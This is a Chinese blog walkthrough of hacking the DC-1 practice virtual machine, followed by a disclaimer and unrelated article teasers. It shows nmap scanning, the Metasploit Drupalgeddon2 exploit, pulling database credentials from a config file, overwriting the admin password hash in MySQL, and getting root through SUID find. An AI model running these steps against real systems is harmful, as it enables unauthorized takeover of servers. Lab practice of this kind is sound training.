一次DC1靶机的渗透测试

确定目标IP:

nmap -sP 192.168.11.1/24

发现目标机器

扫描开放的端口:

nmap -T4 -A -v 192.168.11.145

发现开放了一个80端口,并且给出了是Drupal的管理系统

浏览器访问这个服务:

因为这是一个Drupal的管理系统,那么我们搜索是否有这个漏洞

searchsploit Drupal 7

确实有,那么我们打开MSF开始渗透

MSF搜索这个漏洞:

search drupal

我们选这个最新的

use exploit/unix/webapp/drupal_drupalgeddon2

设置靶机运行的IP:

set rhosts 192.168.11.145

运行:

run

成功

我们进入shell界面:

shell

一番查找发现一个提示:

需要我们找配置文件

因为这个是Drupal 管理系统,我们直接在百度搜索就可以

得出配置文件路径,查看:

爆出了数据库名的用户和密码,那么接下来我们连接数据库,在此之前,我们先进入一个交互式界面,要不然什么也不显示:

python -c 'import pty;pty.spawn("/bin/bash")'

进入数据库:

mysql -u dbuser -p

密码是:R0ck3t

查看数据库:

show databases;

正好发现了一个我们之前获得的数据库名,那么,我们切换数据库

use drupaldb

查看表:

show tables;

查看所有用户:

select * from users;

发现管理员用户和密码,但是不知道密码是什么,在这里,采用密码替换

我们返回主目录,生成一个新的密码:

退出数据库:quit;

php scripts/password-hash.sh admin  (这里的admin是我们自己填的密码)

生成了一个hash值,我们记下来:$S$DAXw8Lt2mT0aZUB2W1qyMsos9F49vP6xgVXWzX/jYSgxKThZpT.b

重新进入我们之前的数据库,将新的密码进行替换:

update users set pass="$S$DAXw8Lt2mT0aZUB2W1qyMsos9F49vP6xgVXWzX/jYSgxKThZpT.b" where name="admin";

成功。

接下来我们进行登录,返回之前我们打开的HTTP服务

账号:admin

密码:admin

登录成功。

一番查找,发现

让我们提权,得到root用户,那么返回我们的命令行,这里提权我们可以利用的是find

原因:若是对一些特殊命令设置了SUID,那么就会有被提权的风险,常用的SUID提权命令有nmap、vim、find、bash、more、less、nano、awk和cp等。

我们查看suid权限的可执行二进制程序:

find / -perm -4000 >/dev/null

那么我们试一下是否有权限,我们新建一个文件,然后进行命令执行

touch 666

find / -name 666 -exec "whoami" \;

显然,这里我们用find提权

直接获取root权限:

 find / -name 666 -exec "bin/sh" \;

提权成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/34190.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Pandas基础应用:数据处理与分析的利器

概括 在数据科学领域,Pandas无疑是一个强大的数据处理和分析工具。它提供了高效、灵活的数据结构和数据分析功能,使得数据清洗、转换、聚合和可视化等操作变得轻而易举。本文将介绍Pandas的基础应用,帮助读者快速上手并掌握其核心功能。 一…

openlayers禁用鼠标滚轮放大、拖拽事件并设置为只有按住Ctrl键才可以执行放大拖拽操作

禁用openlayers鼠标滚轮放大、拖拽移动地图设置这两行代码即可: new Map({interactions: defaults({ dragPan: false, mouseWheelZoom: false }), }) 或者设置只允许按住Ctrl键才可以操作 import { DragPan, MouseWheelZoom, defaults } from "ol/interact…

利用第三方服务对目标进行被动信息收集防止被发现(web安全白帽子)

利用第三方服务对目标进行被动信息收集防止被发现(web安全白帽子) 1 被动信息收集1.1 信息收集内容1.2 信息用途 2 信息收集-DNS2.1 DNS信息收集NSLOOKUP2.1.1 ping2.1.2 nslookup 2.2 DNS信息收集-DIG(此命令查到的结果更复杂些,…

算法训练营day19--530.二叉搜索树的最小绝对差+501.二叉搜索树中的众数+236. 二叉树的最近公共祖先

一、530.二叉搜索树的最小绝对差 题目链接:https://leetcode.cn/problems/minimum-absolute-difference-in-bst/ 文章讲解:https://programmercarl.com/0530.%E4%BA%8C%E5%8F%89%E6%90%9C%E7%B4%A2%E6%A0%91%E7%9A%84%E6%9C%80%E5%B0%8F%E7%BB%9D%E5%AF…

shell脚本中sudo密码自动输入

在shell脚本中, 我们可能需要用到sudo权限, 如果没有免密设置, 是需要输入密码的, 但是在自动化的脚本中,我们不希望进行手动密码输入,这时就需要用到密码自动输入。 方法如下: echo "my_passwd&quo…

【ubuntu noble】给 apt 添加代理

修改apt.conf sudo vi /etc/apt/apt.conf添加以下内容 Acquire::http::Proxy "http://proxy.example.com:8080"; Acquire::https::Proxy "http://proxy.example.com:8080";出现公钥问题 去我上一篇博客,有解决方案

Ext JS+Spring Boot 使用Ajax方式上传文件

实现方式 使用 Ext JS 进行 AJAX 调用以传递文件通常涉及到创建一个 FormData 对象,将文件附加到这个对象中,然后通过 Ext JS 的 AJAX API 发送这个对象。 基本步骤 以下是使用 Ext JS 发送文件的基本步骤: 准备文件和数据: 首先需要获取到要传递的文件 创建 FormData 对…

红队内网攻防渗透:内网渗透之内网对抗:横向移动篇NTLM中继Relay重放SMBEWSLADP协议强制认证钓鱼监听

NTLM Relay其实严格意义上并不能叫NTLM Relay,而是应该叫 Net-NTLM Relay。它是发生在NTLM认证的第三步,在 Type3 Response消息中存在Net-NTLM Hash,当攻击者获得了Net-NTLM Hash后,可以进行中间人攻击,重放Net-NTLM Hash,这种攻击手法也就是大家所说的NTLM Relay(NTLM 中…

MAB规范(3):Chapter6 Glossary 术语表

第6章 - 术语表 此章不做过多的批注,都是些简单的术语解释。

学分制系统 GetCalendarContentById SQL注入致RCE漏洞复现

0x01 产品简介 学分制系统由上海鹏达计算机系统开发有限公司研发,是基于对职业教育特点和需求的深入理解,结合教育部相关文件精神,并广泛吸纳专家、学者意见而开发的一款综合性管理系统。系统采用模块化的设计方法,方便学校根据自身教学改革特点、信息化建设进程情况选择、…

某某商场对账返款单,table

好久不写原生html&#xff0c;今天写了个&#xff0c;快忘完了 。。。 Double Header Table ***商场统一收银结算商户对账返款单 商场&#xff08;盖章有效&#xff09; 铺位名称&#xff1a; 铺位号&#xff1a; 制单人&#xff1a; 制单日期&#xff1a; </tr><tr&…

前端微应用打开新的窗口时,如何防止matched数据丢失?

本文章基于vueqiankun微前端架构 1、qiankun 与 matched &#xff08;1&#xff09;在 qiankun 微前端架构中&#xff0c;matched 数据通常与路由状态相关&#xff0c;是路由库&#xff08;如 vue-router、react-router 等&#xff09;内部使用的一个状态 &#xff08;2&…

Lesson 39 Don‘t drop it!

Lesson 39 Don’t drop it! 词汇 front n. 前面 搭配&#xff1a;in front of … 在……前面&#xff08;外部&#xff09;    in the front of … 在……前面&#xff08;内部&#xff09; 例句&#xff1a;Bobby坐在Sam的前面。    Bobby is sitting in front of Sam…

嵌入式C语言中常见寄存器的控制方法

使用C语言对寄存器赋值时,常常需要用到C语言的位操作方法。 把寄存器某位清零 假设a代表寄存器,且其中本来已有值。如果要把其中某一位清零且其它位不变,代码如下。 //定义一个变量 a = 1001 1111 b (二进制数)unsigned char a = 0x9f;//对 bit2 清零a &= ~(1<<…

深度学习之近端策略优化(Proximal Policy Optimization,PPO)

PPO(Proximal Policy Optimization,近端策略优化)是深度强化学习中的一种算法,属于策略梯度方法中的一种。PPO通过优化策略来最大化累积奖励,具有稳定性好、易于调参等优点,是目前广泛应用的一种深度强化学习算法。下面介绍PPO的基本原理和流程。 PPO基本原理 PPO算法的…

C++系统相关操作7 - 判断系统大小端大小端的数据转换

1. 关键词2. sysutil.h3. sysutil.cpp4. 测试代码5. 运行结果6. 源码地址 1. 关键词 关键词&#xff1a; C 大端 小端 数据转换 跨平台 大小端的定义&#xff1a; 大端&#xff08;Big Endian&#xff09;和小端&#xff08;Little Endian&#xff09;是指在计算机内存中存…

C++哈希表、哈希桶的实现以及模拟实现封装unordered_map 和 unordered_set 位图 布隆过滤器 哈希切割相关

文章目录 unordered系列关联式容器unordered_mapunordered_map的接口说明 unordered_setset 与 unordered_set的效率比较 底层结构哈希概念哈希冲突哈希函数常见哈希函数哈希冲突解决闭散列 —— 开放定址法哈希表的插入线性探测二次探测 哈希表的闭散列实现哈希表的结构插入代…

1962springboot VUE社区服务平台系统开发mysql数据库web结构java编程计算机网页源码maven项目

一、源码特点 springboot VUE社区服务平台系统是一套完善的完整信息管理类型系统&#xff0c;结合springboot框架和VUE完成本系统&#xff0c;对理解vue java编程开发语言有帮助系统采用springboot框架&#xff08;MVC模式开发&#xff09;&#xff0c;系统具有完整的源代码和…

二叉搜索树的删除操作(详细图解和代码解析)

二叉排序树的定义: 二叉排序树&#xff08;Binary Search Tree&#xff0c;BST&#xff09;是一种二叉树&#xff0c;其中每个节点的值大于其左子树中任意节点的值&#xff0c;小于其右子树中任意节点的值。换句话说&#xff0c;对二叉排序树进行中序遍历时&#xff0c;节点的值…

MIGO增强(扩展字段,屏幕增强字段,常规保存增强)

1.MIGO前台增强: 1.SE18找到增强点:MB_GOODSMOVEMENT 2.找到相应的BADI:右键创建实施 3.找到重写的方法 METHOD if_ex_mb_document_badi~mb_document_before_update.DATA:lv_stat TYPE c,lv_type TYPE bapi_mtype,lv_msg TYPE bapi_msg.DATA:lv_message TYPE string.IF sy-tc…